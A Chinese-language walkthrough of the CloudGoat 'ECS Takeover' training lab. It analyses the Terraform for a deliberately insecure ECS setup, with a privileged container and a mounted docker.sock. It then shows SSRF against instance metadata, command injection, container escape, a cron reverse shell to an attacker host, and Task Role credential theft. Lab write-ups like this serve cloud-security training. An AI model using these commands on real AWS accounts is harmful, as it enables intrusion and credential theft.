[CloudGoat]ECS Takeover
ECS快速入门
Amazon Elastic Container Service (Amazon ECS) 是AWS上的一个容器编排服务,它和K8s的区别在于ECS是Amazon自己实现的容器编排方案,而K8s是Google的开源容器编排解决方案。
通过下面的图快速了解下ECS的各个组件

- Cluster manager 可以管理一个 Cluster 上的所有 Contaienr Instance。
- Contaienr Instance 是一个 Linux 主机,上面运行着 Docker Engine 和 ECS Container Agent。Contaienr Instance 会向 Cluster manager 注册来让其对自己进行管理。
- Service 是一个任务清单,Cluster manager 会通过各种方式在 Contaienr Instance 上实现/维持这些任务。一个 Service 中包含 Task Number 和 Task Definition。
- Task Number 指的是 Task 的数量。
- Task Definition 则是 Task 的具体内容,它包括一个 Container Definitions。Container Definitions 则是一个镜像和镜像的启动命令。
- Role 管理,在整个 ECS 中涉及4个 Role,其中 Service Role🔵 和 Task Execution Role🟠 属于功能 Role 用户不用太关心。剩下两个,Task Role🟣 是为具体执行任务的 Container 提供的 Role,它所涉及的云资源的使用要用户提供;一台 Contaienr Instance 上的 Container 还可以使用这台 Contaienr Instance Role🔴 的资源。
值得一提的是,上面的 ECS 是 EC2 Mode。除此之外 AWS 还提供了一个 Fargate 的 ECS,在 Fargate 中 Contaienr Instance 在用户视角中将完全隐藏,这样用户就可以更专注于 Service 的编写。

TF代码分析
除去provider.tf、outputs.tf、variables.tf,各个资源都是类别名称对应自己的 tf 文件

vpc.tf
在将ECS启动前,需要有一个承载这些资源的VPC。代码首先定义的一个VPC的基本内容,包括一个VPC,同时为VPC添加一个网关和一个子网。
resource "aws_vpc" "vpc" {
cidr_block = "10.0.0.0/16"
enable_dns_support = true
enable_dns_hostnames = true
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-main"
}
}
resource "aws_internet_gateway" "internet_gateway" {
vpc_id = aws_vpc.vpc.id
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-main"
}
}
resource "aws_subnet" "public" {
vpc_id = aws_vpc.vpc.id
availability_zone = "us-east-1a"
cidr_block = "10.0.1.0/24"
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-public"
}
}
接着创建了指向网关的默认路由,同时将该路由与子网关联
resource "aws_route_table" "public" {
vpc_id = aws_vpc.vpc.id
route {
cidr_block = "0.0.0.0/0"
gateway_id = aws_internet_gateway.internet_gateway.id
}
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-public"
}
}
resource "aws_route_table_association" "route_table_association" {
subnet_id = aws_subnet.public.id
route_table_id = aws_route_table.public.id
}
最后在VPC中定义了一个安全组允许 TCP 流量到端口 80 (HTTP) 和端口 443 (HTTPS)。源 IP 地址范围则根据 var.cg_whitelist 来确定,这个其实就是 CloudGoat 配置时的 whitelist 选项(0.0.0.0/0)。
resource "aws_security_group" "ecs_sg" {
vpc_id = aws_vpc.vpc.id
revoke_rules_on_delete = true
ingress {
from_port = 80
to_port = 80
protocol = "tcp"
cidr_blocks = var.cg_whitelist
}
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = var.cg_whitelist
}
egress {
from_port = 0
to_port = 65535
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-ecs-sg"
}
}
iam.tf
iam.tf里面定义了两个 IAM Role,供 Contaienr Instance 使用的 ecs_agent 和供 Task 使用的 privd
//
// ECS Worker Instance Role
//
data "aws_iam_policy_document" "ecs_agent" {
statement {
actions = ["sts:AssumeRole"]
principals {
type = "Service"
identifiers = ["ec2.amazonaws.com"]
}
}
}
resource "aws_iam_role" "ecs_agent" {
name = "cg-${var.scenario-name}-${var.cgid}-ecs-agent"
assume_role_policy = data.aws_iam_policy_document.ecs_agent.json
}
resource "aws_iam_role_policy_attachment" "ecs_agent" {
role = aws_iam_role.ecs_agent.name
policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"
}
resource "aws_iam_instance_profile" "ecs_agent" {
name = "cg-${var.scenario-name}-${var.cgid}-ecs-agent"
role = aws_iam_role.ecs_agent.name
}
//
// ECS Container role
//
data "aws_iam_policy_document" "ecs_tasks_role" {
statement {
actions = ["sts:AssumeRole"]
principals {
type = "Service"
identifiers = ["ecs-tasks.amazonaws.com"]
}
}
}
resource "aws_iam_role" "privd" {
name = "cg-${var.scenario-name}-${var.cgid}-privd"
assume_role_policy = data.aws_iam_policy_document.ecs_tasks_role.json
managed_policy_arns = [aws_iam_policy.privd.arn]
}
// Give the role read access to ecs and IAM permissions.
resource "aws_iam_policy" "privd" {
name = "cg-${var.scenario-name}-${var.cgid}-privd"
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Action = [
"ecs:ListServices",
"ecs:ListTasks",
"ecs:DescribeServices",
"ecs:ListContainerInstances",
"ecs:DescribeContainerInstances",
"ecs:DescribeTasks",
"ecs:ListTaskDefinitions",
"ecs:DescribeClusters",
"ecs:ListClusters",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
]
Effect = "Allow"
Resource = "*"
},
]
})
}
其中ecs_agent直接使用的AWS托管策略AmazonEC2ContainerServiceforEC2Role。根据对该策略的描述,这是一个ECS中EC2的默认策略。其中包括对 CloudWatch Logs、EC2、Elastic Container Registry、Elastic Container Service 的有限访问。

而privd策略涉及对 AWS ECS 和 IAM 服务的查询和获取信息的操作。
{
Action = [
"ecs:ListServices",
"ecs:ListTasks",
"ecs:DescribeServices",
"ecs:ListContainerInstances",
"ecs:DescribeContainerInstances",
"ecs:DescribeTasks",
"ecs:ListTaskDefinitions",
"ecs:DescribeClusters",
"ecs:ListClusters",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
]
Effect = "Allow"
Resource = "*"
}
ec2.tf
ec2.tf主要定义了两个 EC2 实例。其中它们使用了 AWS 官方为 ECS 服务定制的 AMI
data "aws_ami" "ecs" {
most_recent = true
owners = ["amazon"]
filter {
name = "name"
values = ["amzn2-ami-ecs-hvm-*"]
}
filter {
name = "virtualization-type"
values = ["hvm"]
}
filter {
name = "architecture"
values = ["x86_64"]
}
}
下面这段user_data是让 EC2 实例启动的时候执行命令echo ECS_CLUSTER=${aws_ecs_cluster.ecs_cluster.name} >> /etc/ecs/ecs.config来自动加入 cluster
locals {
user_data = <<EOH
#!/bin/bash
echo ECS_CLUSTER=${aws_ecs_cluster.ecs_cluster.name} >> /etc/ecs/ecs.config
EOH
}
除此之外,还有关联的角色和安全组的配置,均是前面配置好的。同时这两个 EC2 都关联了公网 IP associate_public_ip_address = true
resource "aws_instance" "vulnsite" {
ami = data.aws_ami.ecs.id
iam_instance_profile = aws_iam_instance_profile.ecs_agent.name
vpc_security_group_ids = [aws_security_group.ecs_sg.id]
user_data = local.user_data
instance_type = "t2.micro"
associate_public_ip_address = true
subnet_id = aws_subnet.public.id
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-vulnsite"
}
}
resource "aws_instance" "vault" {
ami = data.aws_ami.ecs.id
iam_instance_profile = aws_iam_instance_profile.ecs_agent.name
vpc_security_group_ids = [aws_security_group.ecs_sg.id]
user_data = local.user_data
instance_type = "t2.micro"
associate_public_ip_address = true
subnet_id = aws_subnet.public.id
tags = {
"Name" = "cg-${var.scenario-name}-${var.cgid}-vault"
}
}
ecs.tf
ecs.tf大致可以分为三部分:
- 定义 Cluster
- 定义 Task Definition
- 定义 Service
定义 Cluster 比较简单只包含一个 name 参数
resource "aws_ecs_cluster" "ecs_cluster" {
name = "${var.scenario-name}-${var.cgid}-cluster"
}
然后是三个 Task Definition 的定义,这里看下最后一个vulnsite
- 任务定义基本配置
family: 任务定义的家族名,这里使用 Terraform 变量var.scenario-name和var.cgid动态生成。差不多就是一个名称。network_mode: 设置为"host",表明任务将使用宿主机的网络命名空间。在这种模式下,容器将直接使用宿主机的网络,不会虚拟化或隔离网络。
- 容器定义
name: 容器的名称,设为"vulnsite"。image: 容器使用的镜像,这里是"cloudgoat/ecs-takeover-vulnsite:latest",表示使用最新版本的 cloudgoat/ecs-takeover-vulnsite 镜像。essential: 设置为true,表示这个容器必须在运行时始终处于运行状态;如果它失败,ECS 将停止整个任务。privileged: 设置为true,赋予容器提升的权限,允许它访问宿主机的资源,这在需要执行特定系统操作的情况下是必需的。network_mode: 指定了"awsvpc"。根据过往文档的描述awsvpc网络模式提供的任务联网功能使 Amazon ECS 任务具有与 Amazon EC2 实例相同的联网属性。感觉和前面的network_mode: "host"有点相似,不知道是配合使用还是冲突设置。cpu和memory: 分别设置容器的 CPU 和内存限制,这里是 256 CPU 单位和 256 MB 内存。portMappings: 定义端口映射,这里将容器的 80 端口映射到宿主机的 80 端口,使容器可以处理 HTTP 流量。mountPoints: 定义挂载点,和后面的volume选项配合,里将宿主机的/var/run/docker.sock挂载到容器的相同路径上。这通常用于允许容器内的应用管理宿主机上的 Docker 守护进程。
- 卷定义
name: 卷的名称"docker-socket"。host_path: 定义宿主机上的路径/var/run/docker.sock。这允许容器通过 Docker 套接字与宿主机的 Docker 守护进程交互。
特权模式+/var/run/docker.sock挂载,这个容器的危险性已不言而喻。
resource "aws_ecs_task_definition" "vault" {
family = "cg-${var.scenario-name}-${var.cgid}-vault"
# Wait for the website to be deployed to the cluster.
# This should make sure the instances are available.
container_definitions = jsonencode([
{
name = "vault"
image = "busybox:latest"
essential = true
cpu = 50
memory = 50
command = ["/bin/sh -c \"echo '{{FLAG_1234677}}' > /FLAG.TXT; sleep 365d\""]
entryPoint = [
"sh",
"-c"
]
}
])
}
// Hosts the role we want to use to force rescheduling
resource "aws_ecs_task_definition" "privd" {
family = "cg-${var.scenario-name}-${var.cgid}-privd"
task_role_arn = aws_iam_role.privd.arn
container_definitions = jsonencode([
{
name = "privd"
image = "busybox:latest"
cpu = 50
memory = 50
essential = true
command = ["sleep", "365d"]
}
])
}
// Hosts website to container escape execution
resource "aws_ecs_task_definition" "vulnsite" {
family = "cg-${var.scenario-name}-${var.cgid}-vulnsite"
network_mode = "host"
container_definitions = jsonencode([
{
name = "vulnsite"
image = "cloudgoat/ecs-takeover-vulnsite:latest"
essential = true
privileged = true
network_mode = "awsvpc"
cpu = 256
memory = 256
portMappings = [
{
containerPort = 80
hostPort = 80
}
]
mountPoints = [
{
readOnly = false,
containerPath = "/var/run/docker.sock"
sourceVolume = "docker-socket"
}
]
}
])
volume {
name = "docker-socket"
host_path = "/var/run/docker.sock"
}
}
最后是三个 Service 的定义。vulnsite通过memberOf类型的约束,让任务的部署必须满足表达式ec2InstanceId == ${aws_instance.vulnsite.id},也就是指定了 EC2 实例 ID。
resource "aws_ecs_service" "vulnsite" {
name = "vulnsite"
cluster = aws_ecs_cluster.ecs_cluster.id
task_definition = aws_ecs_task_definition.vulnsite.arn
desired_count = 1
placement_constraints {
type = "memberOf"
expression = "ec2InstanceId == ${aws_instance.vulnsite.id}"
}
}
预置器(Provisioner)是由 Terraform 所提供的另一组插件,每种预置器可以在资源对象创建后执行不同类型的操作。vault中的Provisioner表示在创建资源后执行一个Python脚本remove_placement_constraints.py,同时配置了执行这个脚本的环境变量。
resource "aws_ecs_service" "vault" {
name = "vault"
cluster = aws_ecs_cluster.ecs_cluster.id
task_definition = aws_ecs_task_definition.vault.arn
force_new_deployment = true
desired_count = 1
depends_on = [
aws_ecs_service.vulnsite,
]
ordered_placement_strategy {
type = "random"
}
// Setting this here ensures vault start's on the right instance, this setting is removed in the provisioner below.
placement_constraints {
type = "memberOf"
expression = "ec2InstanceId == ${aws_instance.vault.id}"
}
provisioner "local-exec" {
command = "/usr/bin/env python3 remove_placement_constraints.py"
environment = {
CLUSTER = self.cluster
SERVICE_NAME = self.name
AWS_DEFAULT_REGION = var.region
AWS_PROFILE = var.profile
}
}
}
remove_placement_constraints.py脚本则是在vault服务启动后移除服务的放置限制
"""Removes the PlacmentConstraints set for a given cluster/service."""
import boto3
import time
from os import environ
ecs = boto3.client('ecs', region_name='us-east-1')
cluster = environ['CLUSTER']
service_name = environ['SERVICE_NAME']
while True:
resp = ecs.list_tasks(
cluster=cluster,
serviceName=service_name,
desiredStatus="RUNNING",
)
if len(resp['taskArns']) > 0:
break
print(f"Waiting for tasks in the service {service_name} to enter the the RUNNING state.")
time.sleep(5)
ecs.update_service(
cluster=cluster,
service=service_name,
placementConstraints=[],
)
outputs.tf
最后的outputs.tf将实例的public_dns属性输出,这是AWS 为每个具有公网 IP 的 EC2 实例自动分配一个公共 DNS 名称。
output "vuln-site" {
value = aws_instance.vulnsite.public_dns
}
关于DNS解析的配置有两个部分,首先是实例中配置了关联公网IP
resource "aws_instance" "vulnsite" {
...
associate_public_ip_address = true
...
}
此外,AWS VPC 中有两个相关的 DNS 设置:enable_dns_support 和 enable_dns_hostnames。enable_dns_support 控制 VPC 是否使用 Amazon-provided DNS 服务器解析 DNS 查询,而 enable_dns_hostnames 控制是否自动为 VPC 中的实例分配 DNS 主机名。
resource "aws_vpc" "example" {
...
enable_dns_support = true
enable_dns_hostnames = true
...
}
Scenario: ecs_takeover
背景
Scenario Resources
- 1 VPC and Subnet with:
- 2 EC2 Instances
- 1 ECS Cluster
- 3 ECS Services
- 1 Internet Gateway
Scenario Start(s)
- Access the external website via the EC2 Instance's public IP.
Scenario Goal(s)
- Gain access to the "vault" container and retrieve the flag.
渗透流程
访问起始的URL,这里存在一个SSRF漏洞

获取关联角色?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgid1cex40y24h-ecs-agent/

登录的角色是ecs-agent,前面我们知道了这个角色的策略是AmazonEC2ContainerServiceforEC2Role

除此之外这个输入还存在命令注入/?url=;echo 'hello'。

既然存在命令注入,那首先判断下这是不是个容器环境,使用的命令为cat /proc/1/cgroup。有点意外的是 ECS 服务所起的容器的cgroup子系统都归到了/ecs/[id-1]/[id-2]这个路径下,和 docker 的docker/[容器ID]有点不同。具体原因现在先不管,总之这里判断出了当前环境是在一个 docker 里面的。

在前面我们(偷偷地)知道了这个容器有两个危险的配置,一个是特权模式
cat /proc/$$/status | grep CapEff

一个是docker socket挂载
ls -lah /var/run/docker.sock

这两种漏洞都可以来做容器逃逸,这里要我们使用特权模式逃逸。
查看挂载磁盘设备
fdisk -l

将宿主机文件挂载到容器的./test目录下
mkdir ./test && mount /dev/xvda1 ./test
写计划任务前还是要简单判断下主机的系统
- Centos的定时任务文件在
/var/spool/cron/<username> - Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>,同时文件权限必须要600才能执行
这里/var/spool/cron/下直接是空的,所以我们把crontrab定时文件写到./test/var/spool/cron/root。稍等一会儿后收到反弹shell
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/9999 0>&1'" >> ./test/var/spool/cron/root

控制主机后,查看运行的容器信息。第一个是web服务的容器,第二个任务(从前面偷偷知道)是有 Task Role 的
docker ps -a

而这里除了两个任务容器外,还有一个由amazon-ecs-agent镜像启动的容器。这个就是实例自动安装 ECS 容器代理,参考:https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/ecs-agent-install.html

虽然我们获取了 Container Instances Role 但对整个集群的其他信息还无法感知,因为AmazonEC2ContainerServiceforEC2Role对集群没有任何读取权限。


因此我们将目标转为 privd 容器的 Task Role,和 EC2 实例元数据一样。ECS 中也有任务元数据,获取方式和实例元数据一样可以用HTTP的方式。https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/ec2-metadata.html

不过文档中并没有说明 Task Role 的凭证可以通过任务元数据获取。关于 Task Role 的凭证获取是在 Container credential provider 的部分https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html。根据文档的描述这似乎更像一种开发规范,获取的路径在容器的环境变量里

打印第二个容器的环境变量,看到了AWS_CONTAINER_CREDENTIALS_RELATIVE_URI的环境变量
docker exec 38a2028763d2 sh -c 'printenv'
HOSTNAME=38a2028763d2
SHLVL=1
HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/6b786c97-87aa-4a33-9c7b-c4fbef9f4638
AWS_EXECUTION_ENV=AWS_ECS_EC2
ECS_AGENT_URI=http://169.254.170.2/api/5272106b-c65e-4397-8272-9c66d4a16875
ECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2/v4/5272106b-c65e-4397-8272-9c66d4a16875
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/5272106b-c65e-4397-8272-9c66d4a16875
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/

访问169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI获取 Task Role 凭证
docker exec 38a2028763d2 sh -c 'wget -q -O - 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

登录用户privd

下面开始收集集群信息。首先,列出集群
aws --profile task-role ecs list-clusters

查看集群的模式,"registeredContainerInstancesCount": 2得知集群里运行的 EC2 数量为 2,这也表明这一个 EC2 Mode 的 ECS
aws --profile task-role ecs describe-clusters --clusters arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster

列出集群里的 Container Instances
aws --profile task-role ecs list-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster
{
"containerInstanceArns": [
"arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/363039e07fcf40db99d5a5c57558a50c",
"arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046"
]
}
查看这两个 Container Instances 对应的实例ID
aws --profile task-role ecs describe-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/363039e07fcf40db99d5a5c57558a50c --query "containerInstances[*].ec2InstanceId"
[
"i-0118453e343e82efd"
]
aws --profile task-role ecs describe-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046 --query "containerInstances[*].ec2InstanceId"
[
"i-0fe09f6db2ba10228"
]
从前面控制的实例元数据可知,这个实例对应的是第一个 Container Instances

列出集群中的服务
aws --profile task-role ecs list-services --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster
{
"serviceArns": [
"arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vault",
"arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vulnsite",
"arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/privd"
]
}
该渗透场景的目标是vault服务,所以我们查看该服务详细的信息。从输出的结果中可以看到:
desiredCount: 服务期望运行的任务数量为 1。runningCount: 当前正在运行的任务数量也为 1。pendingCount: 等待启动的任务数量为 0,表明没有任务在排队等待启动。
aws --profile task-role ecs describe-services --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --services arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vault

再来看下该服务运行在哪个 Container Instances 上。首先,查看服务中的任务:
aws --profile task-role ecs list-tasks --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --service-name vault
{
"taskArns": [
"arn:aws:ecs:us-east-1:637423561540:task/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e00e1be22a134245893031ee753ff53f"
]
}
然后,描述这些任务以获取它们运行在哪个 Container Instance 上的信息。显示的是第二个我们控制外的 EC2
aws --profile task-role ecs describe-tasks --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --tasks arn:aws:ecs:us-east-1:637423561540:task/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e00e1be22a134245893031ee753ff53f --query "tasks[*].containerInstanceArn"
[
"arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046"
]
为了将vault移到受控主机上,我们可以将vault所在的 Container Instance 状态更新为 DRAINING,这样 ECS 就会自动将这个服务调度要我们这台主机上。而这个操作对应的权限ecs:UpdateContainerInstancesState刚好在 Container Instance Role 上。
重新获取 Container Instance Role 的凭证登录

修改实例状态
aws --profile ci-role ecs update-container-instances-state --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046 --status DRAINING
很快 task 被调度到了我们的受控主机上 
读取Flag
docker exec abe084998eb7 cat FLAG.TXT

命令总结
aws ecs describe-clusters --clusters [Cluster-ARN]
aws ecs list-container-instances --cluster [Cluster-Name]
aws ecs describe-container-instances --cluster [Cluster-Name] --container-instances [Container-Instance-ARNs]
aws ecs list-services --cluster [Cluster-Name]
aws ecs describe-services --cluster [Cluster-Name] --services [Service-ARNs]
aws ecs list-tasks --cluster [Cluster-Name] --service-name [Service-Name]
aws ecs describe-tasks --cluster [Cluster-Name] --tasks [Task-ARNs]
aws ecs describe-container-instances --cluster [Cluster-Name] --container-instances [Container-Instance-ARNs]
aws ecs update-container-instances-state --cluster <your_cluster_name> --container-instances <target_container_instance> --status DRAINING
参考链接
https://www.ruse.tech/blogs/ecs-attack-methods
https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/Welcome.html
https://www.bilibili.com/video/BV12E421K7ST/
https://www.youtube.com/watch?v=22IsSW3YD0A